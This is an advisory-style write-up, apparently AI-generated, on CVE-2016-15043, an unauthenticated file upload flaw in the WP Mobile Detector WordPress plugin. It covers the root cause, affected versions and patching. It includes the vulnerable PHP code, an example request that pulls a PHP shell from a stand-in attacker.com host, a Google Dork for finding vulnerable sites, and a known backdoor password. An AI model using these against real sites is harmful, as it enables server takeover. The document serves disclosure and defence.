How a Single Line in WP Mobile Detector (CVE-2016-15043) Opened the Door to Remote Code Execution

In mid-2016, thousands of WordPress sites running the popular WP Mobile Detector plugin (versions up to 3.5) were compromised in a wave of attacks that exploited a critical file upload vulnerability, CVE-2016-15043. The flaw was trivial to exploit and widely targeted. It let unauthenticated attackers upload and execute arbitrary PHP files, which gave them full remote code execution (RCE) on affected servers.

What is WP Mobile Detector?

WP Mobile Detector, created by Brian McKenna, was a WordPress plugin that detected mobile devices and served optimized themes to them. It had over 10,000 active installations at its peak, and site owners relied on it for better mobile compatibility without heavy custom development. That install base also made it an attractive target for mass exploitation.

Technical Information

Vulnerability Mechanism

CVE-2016-15043 lives in the resize.php script, which handled image resizing requests. The script accepted a src parameter meant to name the source image. It did not validate the file type or restrict the source to images, so an attacker could supply any URL, including one hosting a malicious PHP file.

The vulnerable code pattern looked like this:

if (isset($_REQUEST['src'])) { 
  $path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']); 
  file_put_contents($path, file_get_contents($_REQUEST['src']));
}

This code does two things:

1. Takes the src parameter from the request (no authentication required).
2. Uses file_get_contents() to fetch the remote file, and file_put_contents() to save it to the plugin's cache directory (wp-content/plugins/wp-mobile-detector/cache/).

If the server's PHP configuration had allow_url_fopen enabled (the default in many environments), any file, regardless of type or extension, could be fetched and written to disk. The code never checked the file extension, MIME type, or content, so an attacker could upload a PHP shell or any other executable script to the web-accessible cache directory.

Attack Vectors and Exploitation Methods

Attackers sent a crafted HTTP request to resize.php with a src parameter pointing to a malicious file they controlled. For example:

GET /wp-content/plugins/wp-mobile-detector/resize.php?src=http://attacker.com/shell.php

The plugin would then save shell.php to the cache directory, and the attacker could request the file directly over the web to run arbitrary PHP code on the server. Sucuri and others saw attackers upload files such as css.php, access them with hardcoded passwords (e.g., pass=dinamit), and use these backdoors to deploy spam and malware or to compromise the site further.

Attackers found vulnerable sites at scale with automated tools and Google Dorks (e.g., inurl:/wp-content/plugins/wp-mobile-detector/resize.php). The attack needed no authentication and worked on any site running a vulnerable plugin version with allow_url_fopen enabled.

Root Cause

The root cause was missing input validation and insecure use of PHP's file handling functions. The code did not check that the src parameter pointed to a legitimate image, and it did not restrict the file extension or content type. Together with a world-writable cache directory and executable permissions, that was enough for arbitrary file upload and execution.

Affected Systems and Versions

• Product: WP Mobile Detector plugin for WordPress
• Affected Versions: Up to and including 3.5
• Vulnerable Configuration: Servers with allow_url_fopen enabled (default in many PHP environments)
• Patched Version: 3.6 and above

Vendor Security History

WP Mobile Detector had no widely reported critical vulnerabilities before CVE-2016-15043. The incident did expose gaps in the vendor's security maturity. The vulnerability was exploited in the wild before public disclosure, and the initial patch (version 3.6) was incomplete and needed further updates. The plugin was temporarily removed from the WordPress repository, and the vendor said little in its changelog, which made it harder for users to learn about the problem and respond. Much of the warning and mitigation guidance the community received came from third-party security firms (Sucuri, Wordfence, Plugin Vulnerabilities).

References

• NVD Entry for CVE-2016-15043
• Official CVE Entry
• Sucuri Blog: Vulnerability Being Exploited in the Wild
• Exploit-DB: Proof of Concept and Analysis
• WPScan Vulnerability Entry
• Plugin Vulnerabilities: Technical Analysis
• Wordfence Threat Intel
• CISA Alert
• WordPress Plugin Changelog

---

Key Takeaway: If you run WordPress and ever used WP Mobile Detector, make sure you're running version 3.6 or later. Better yet, remove the plugin entirely if you no longer need it. Always audit your plugins for insecure file handling, and keep a close eye on server settings like allow_url_fopen, which can turn minor mistakes into catastrophic breaches.

Source: This report was created using AI

If you have suggestions for improvement or feedback, please contact us at [email protected]